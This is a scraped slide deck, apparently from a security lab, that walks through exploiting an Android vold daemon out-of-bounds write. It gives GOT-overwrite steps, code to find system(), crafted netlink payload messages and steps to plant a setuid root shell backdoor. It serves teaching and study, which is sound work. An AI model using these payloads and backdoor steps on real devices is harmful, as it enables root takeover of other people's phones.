findParam("MINOR")); int part_num; const char *tmp = evt->findParam("PARTN"); if (tmp) { part_num = atoi(tmp); } else { SLOGW("Kernel block uevent missing 'PARTN'"); part_num = 1; } if (part_num > mDiskNumParts) { mDiskNumParts = part_num; ... if (part_num > MAX_PARTITIONS) { SLOGE("Dv:partAdd: ignoring part_num = %d (max: %d)\n", part_num, MAX_PARTITIONS); mPartMinors[part_num -1] = minor; --mPendingPartsCount; } what where"> findParam("MINOR")); int part_num; const char *tmp = evt->findParam("PARTN"); if (tmp) { part_num = atoi(tmp); } else { SLOGW("Kernel block uevent missing 'PARTN'"); part_num = 1; } if (part_num > mDiskNumParts) { mDiskNumParts = part_num; ... if (part_num > MAX_PARTITIONS) { SLOGE("Dv:partAdd: ignoring part_num = %d (max: %d)\n", part_num, MAX_PARTITIONS); mPartMinors[part_num -1] = minor; --mPendingPartsCount; } what where">
Download presentation
Presentation is loading. Please wait.
1
Vold Daemon Exploit
2
VOLD Daemon Vulnerability
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 void DirectVolume::handlePartitionAdded(const char *devpath, NetlinkEvent *evt) { int major = atoi(evt->findParam("MAJOR")); int minor = atoi(evt->findParam("MINOR")); int part_num; const char *tmp = evt->findParam("PARTN"); if (tmp) { part_num = atoi(tmp); } else { SLOGW("Kernel block uevent missing 'PARTN'"); part_num = 1; } if (part_num > mDiskNumParts) { mDiskNumParts = part_num; ... if (part_num > MAX_PARTITIONS) { SLOGE("Dv:partAdd: ignoring part_num = %d (max: %d)\n", part_num, MAX_PARTITIONS); mPartMinors[part_num -1] = minor; --mPendingPartsCount; } what where
3
Memory Layout .text .data heap allocated data Volume { …,
int mPartMinors[] } top of stack < > main() local vars argc, **argv, **envp environment var’s .got Address 1 (fopen) Address 2 (atoi) … void DirectVolume::handlePartitionAdded(const char *devpath, NetlinkEvent *evt) { int major = atoi(evt->findParam("MAJOR")); int minor = atoi(evt->findParam("MINOR")); int part_num; const char *tmp = evt->findParam("PARTN"); part_num = atoi(tmp); ... mPartMinors[part_num -1] = minor; ... }
4
Memory Layout .text .data heap allocated data Volume { …,
int mPartMinors[] } top of stack < > main() local vars argc, **argv, **envp environment var’s .got Address 1 (fopen) Address 2 (atoi) … void DirectVolume::handlePartitionAdded(const char *devpath, NetlinkEvent *evt) { int major = atoi(evt->findParam("MAJOR")); int minor = atoi(evt->findParam("MINOR")); int part_num; const char *tmp = evt->findParam("PARTN"); part_num = atoi(tmp); ... mPartMinors[part_num -1] = minor; ... } Attacker controlled pointer.
5
Memory Layout .text .data heap allocated data Volume { …,
int mPartMinors[] } top of stack < > main() local vars argc, **argv, **envp environment var’s .got Address 1 (fopen) Address 2 (atoi) … void DirectVolume::handlePartitionAdded(const char *devpath, NetlinkEvent *evt) { int major = atoi(evt->findParam("MAJOR")); int minor = atoi(evt->findParam("MINOR")); int part_num; const char *tmp = evt->findParam("PARTN"); part_num = atoi(tmp); ... mPartMinors[part_num -1] = minor; ... } Attacker controlled pointer. Attacker controlled content
6
Memory Layout Being called first with an attacker controlled String.
.text .data heap allocated data Volume { …, int mPartMinors[] } top of stack < > main() local vars argc, **argv, **envp environment var’s .got Address 1 (fopen) Address 2 (atoi) … void DirectVolume::handlePartitionAdded(const char *devpath, NetlinkEvent *evt) { int major = atoi(evt->findParam("MAJOR")); int minor = atoi(evt->findParam("MINOR")); int part_num; const char *tmp = evt->findParam("PARTN"); part_num = atoi(tmp); ... mPartMinors[part_num -1] = minor; ... } Attacker controlled pointer. Attacker controlled content
7
Memory Layout Being called first with an attacker controlled String.
.text .data heap allocated data Volume { …, int mPartMinors[] } top of stack < > main() local vars argc, **argv, **envp environment var’s .got Address 1 (fopen) Address 2 (atoi) … system void DirectVolume::handlePartitionAdded(const char *devpath, NetlinkEvent *evt) { int major = atoi(evt->findParam("MAJOR")); int minor = atoi(evt->findParam("MINOR")); int part_num; const char *tmp = evt->findParam("PARTN"); part_num = atoi(tmp); ... mPartMinors[part_num -1] = minor; ... } overwrite Attacker controlled content
8
Tasks Figure out GOT’s address Ag.
Figure out *mPartMinors pointers base address Am. Caculate offset between Am and Ag. Figure out address of system(). Craft an input to VOLD daemon to overwrite entries in GOT to point to system(). Craft another input to trigger overwrote method with desired command.
9
Task 1. GOT address Pull /system/bin/vold from emulator to the host machine. Execute following command on vold on the host machine to figure out GOT address. (This is for MAC OS. For linux or windows, you should use corresponding objdump in the NDK.) .text .data heap allocated data Volume { …, int mPartMinors[] } top of stack < > main() local vars argc, **argv, **envp environment var’s Address 1 (fopen) Address 2 (atoi) Address 3 (strcmp) .got 0x14368
10
Task 2. mPartMinors address
.text .data heap allocated data Volume { …, int mPartMinors[] } top of stack < > main() local vars argc, **argv, **envp environment var’s Address 1 (fopen) Address 2 (atoi) Address 3 (strcmp) find_pointer_address program require “android.permission.READ_LOGS” permission. So, before execute find_pointer_address, you should switch to user “log”: su log .got 0x14368 0x16208
11
Task 3. Calculate Offset .text Address 1 (fopen) Address 2 (atoi) .got
.data heap allocated data Volume { …, int mPartMinors[] } top of stack < > main() local vars argc, **argv, **envp environment var’s Address 1 (fopen) Address 2 (atoi) Address 3 (strcmp) .got 0x14368 Figure out by yourself. 0x16208
12
Task 4. system() address Put following code snippet into your program to get the system() method’s address. static void *find_system() { char *system = "system"; void *r = NULL; void *dlh = dlopen("/system/libc/libc.so", RTLD_NOW); if (!dlh) exit(errno); if ((r = (void *)dlsym(dlh, system)) == NULL) dlclose(dlh); return r; }
13
Task 5. Craft message 1 .text Address 1 (fopen) Address 2 (atoi)
.data heap allocated data Volume { …, int mPartMinors[] } top of stack < > main() local vars argc, **argv, **envp environment var’s Address 1 (fopen) Address 2 (atoi) Address 3 (strcmp) system .got 0x14368 Send msg1 to vold to overwrite GOT entry atoi to system. @/foo\x00ACTION=add\x00SUBSYSTEM=block\x00DEVPATH=/devices/platform/goldfish_mmc.0\x00MAJOR=179\x00MINOR=system_address\x00DEVTYPE=harder\x00PARTN=idx 0x16208
14
Task 6. Craft message 2 Send msg2 to trigger atoi in the code with command you want to execute. (atoi should be system now.) .text .data heap allocated data Volume { …, int mPartMinors[] } top of stack < > main() local vars argc, **argv, **envp environment var’s Address 1 (fopen) Address 2 (atoi) Address 3 (strcmp) system .got 0x14368 @/foo\x00ACTION=add\x00SUBSYSTEM=block\x00DEVPATH=/devices/platform/goldfish_mmc.0\x00MAJOR=command\x00MINOR=1\x00DEVTYPE=harder\x00PARTN=1 0x16208
15
Command could be a shell script to create backdoor
Copy /system/bin/sh to a local directory /data/local/tmp Remount /data partition. (mount –o remount,rw /dev/block/mtdblock1 /data) Change ownership of /data/local/tmp/sh to root.root Add setuid bit (chmod 4711). Backdoor done!
16
backup
17
class DirectVolume : public Volume {
static const int MAX_PARTITIONS = 4; protected: PathCollection *mPaths; int mDiskMajor; int mDiskMinor; int mPartMinors[MAX_PARTITIONS]; int mDiskNumParts; int mPendingPartsCount; ... };
Similar presentations
© 2025 SlidePlayer.com Inc.
All rights reserved.